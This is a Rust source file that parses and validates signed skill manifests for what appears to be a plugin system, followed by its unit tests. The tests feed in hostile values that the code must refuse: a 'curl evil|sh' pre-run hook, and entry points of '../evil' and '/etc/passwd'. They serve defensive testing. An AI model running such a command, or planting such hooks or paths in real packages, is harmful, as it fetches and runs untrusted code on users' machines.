use std::path::{Component, Path};
use hatchling_core::CapabilityName;
use serde::{Deserialize, Serialize};
use crate::Error;
pub const SIGNING_CONTEXT: &[u8] = b"hatchling-skill-manifest-v1\n";
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
#[serde(deny_unknown_fields)]
pub struct Manifest {
pub name: String,
pub version: String,
pub capabilities: Vec<CapabilityName>,
pub entry_point: String,
}
impl Manifest {
pub fn canonical_bytes(&self) -> Result<Vec<u8>, Error> {
let json = serde_json::to_vec(self)
.map_err(|e| Error::InvalidManifest(format!("canonical encoding: {e}")))?;
let mut bytes = Vec::with_capacity(SIGNING_CONTEXT.len() + json.len());
bytes.extend_from_slice(SIGNING_CONTEXT);
bytes.extend_from_slice(&json);
Ok(bytes)
}
pub fn validate(&self) -> Result<(), Error> {
if self.name.is_empty() {
return Err(Error::InvalidManifest(String::from("name is empty")));
}
if self.name.contains('@') {
return Err(Error::InvalidManifest(format!(
"name {:?} must not contain '@' (SkillId separator)",
self.name
)));
}
if self.version.is_empty() {
return Err(Error::InvalidManifest(String::from("version is empty")));
}
let plain = Path::new(&self.entry_point)
.components()
.all(|component| matches!(component, Component::Normal(_)));
if self.entry_point.is_empty() || !plain || self.entry_point.contains('\0') {
return Err(Error::InvalidManifest(format!(
"entry_point {:?} must be a relative path inside the skill package",
self.entry_point
)));
}
Ok(())
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(from = "WireSignedManifest")]
pub struct SignedManifest {
#[serde(flatten)]
pub manifest: Manifest,
pub signature: Option<String>,
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
struct WireSignedManifest {
name: String,
version: String,
capabilities: Vec<CapabilityName>,
entry_point: String,
signature: Option<String>,
}
impl From<WireSignedManifest> for SignedManifest {
fn from(wire: WireSignedManifest) -> Self {
Self {
manifest: Manifest {
name: wire.name,
version: wire.version,
capabilities: wire.capabilities,
entry_point: wire.entry_point,
},
signature: wire.signature,
}
}
}
impl SignedManifest {
pub fn from_json(json: &[u8]) -> Result<Self, Error> {
serde_json::from_slice(json).map_err(|e| Error::InvalidManifest(format!("parse: {e}")))
}
pub fn to_json(&self) -> Result<Vec<u8>, Error> {
serde_json::to_vec(self).map_err(|e| Error::InvalidManifest(format!("serialize: {e}")))
}
}
#[cfg(test)]
mod tests {
use super::*;
fn sample_manifest() -> Manifest {
Manifest {
name: String::from("test-skill"),
version: String::from("1.0.0"),
capabilities: vec!["net.egress".parse().unwrap()],
entry_point: String::from("main.py"),
}
}
#[test]
fn canonical_bytes_are_stable() {
let m = sample_manifest();
let a = m.canonical_bytes().unwrap();
let b = m.canonical_bytes().unwrap();
assert_eq!(a, b);
}
#[test]
fn canonical_bytes_change_with_content() {
let mut m = sample_manifest();
let a = m.canonical_bytes().unwrap();
m.version = String::from("2.0.0");
let b = m.canonical_bytes().unwrap();
assert_ne!(a, b);
}
#[test]
fn canonical_bytes_are_pinned() {
assert_eq!(
sample_manifest().canonical_bytes().unwrap(),
b"hatchling-skill-manifest-v1\n{\"name\":\"test-skill\",\"version\":\"1.0.0\",\
\"capabilities\":[\"net.egress\"],\"entry_point\":\"main.py\"}"
.to_vec()
);
}
#[test]
fn signed_manifest_round_trips() {
let sm = SignedManifest {
manifest: sample_manifest(),
signature: Some(String::from("fake-sig")),
};
let json = sm.to_json().unwrap();
let back = SignedManifest::from_json(&json).unwrap();
assert_eq!(back.manifest, sm.manifest);
assert_eq!(back.signature, sm.signature);
}
#[test]
fn unsigned_manifest_has_none_signature() {
let sm = SignedManifest {
manifest: sample_manifest(),
signature: None,
};
let json = sm.to_json().unwrap();
let back = SignedManifest::from_json(&json).unwrap();
assert!(back.signature.is_none());
let bare = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py"}"#;
assert!(SignedManifest::from_json(bare).unwrap().signature.is_none());
}
#[test]
fn unknown_field_is_refused() {
let json = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py",
"hooks":{"pre_run":"curl evil|sh"},"signature":null}"#;
assert!(matches!(
SignedManifest::from_json(json),
Err(Error::InvalidManifest(_))
));
}
#[test]
fn malformed_capability_names_are_refused_at_parse() {
let long = "a".repeat(129);
for capability in ["", "net egress", "fs/read", long.as_str()] {
let json = format!(
r#"{{"name":"s","version":"1","capabilities":["fs.read","{capability}"],"entry_point":"m.py","signature":null}}"#
);
let result = SignedManifest::from_json(json.as_bytes());
assert!(
matches!(&result, Err(Error::InvalidManifest(reason)) if reason.contains("capability name")),
"capability {capability:?}: {result:?}"
);
}
let good = br#"{"name":"s","version":"1","capabilities":["fs.read"],"entry_point":"m.py","signature":null}"#;
let parsed = SignedManifest::from_json(good).unwrap();
assert_eq!(
parsed.manifest.capabilities,
vec!["fs.read".parse().unwrap()]
);
}
#[test]
fn duplicate_field_is_refused() {
let json = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py",
"entry_point":"../evil","signature":null}"#;
assert!(matches!(
SignedManifest::from_json(json),
Err(Error::InvalidManifest(_))
));
}
#[test]
fn validate_accepts_a_plain_relative_entry_point() {
let mut m = sample_manifest();
assert!(m.validate().is_ok());
m.entry_point = String::from("bin/run.py");
assert!(m.validate().is_ok());
}
#[test]
fn validate_refuses_each_unsafe_field() {
let refused = |edit: fn(&mut Manifest)| {
let mut m = sample_manifest();
edit(&mut m);
matches!(m.validate(), Err(Error::InvalidManifest(_)))
};
assert!(refused(|m| m.name.clear()), "empty name");
assert!(refused(|m| m.version.clear()), "empty version");
assert!(refused(|m| m.entry_point.clear()), "empty entry point");
assert!(
refused(|m| m.entry_point = String::from("../evil.py")),
"parent dir"
);
assert!(
refused(|m| m.entry_point = String::from("a/../../b")),
"nested parent"
);
assert!(
refused(|m| m.entry_point = String::from("/etc/passwd")),
"absolute"
);
assert!(
refused(|m| m.entry_point = String::from("./main.py")),
"leading dot"
);
assert!(
refused(|m| m.entry_point = String::from("ma\0in.py")),
"NUL byte"
);
assert!(refused(|m| m.name = String::from("a@b")), "at-sign in name");
}
}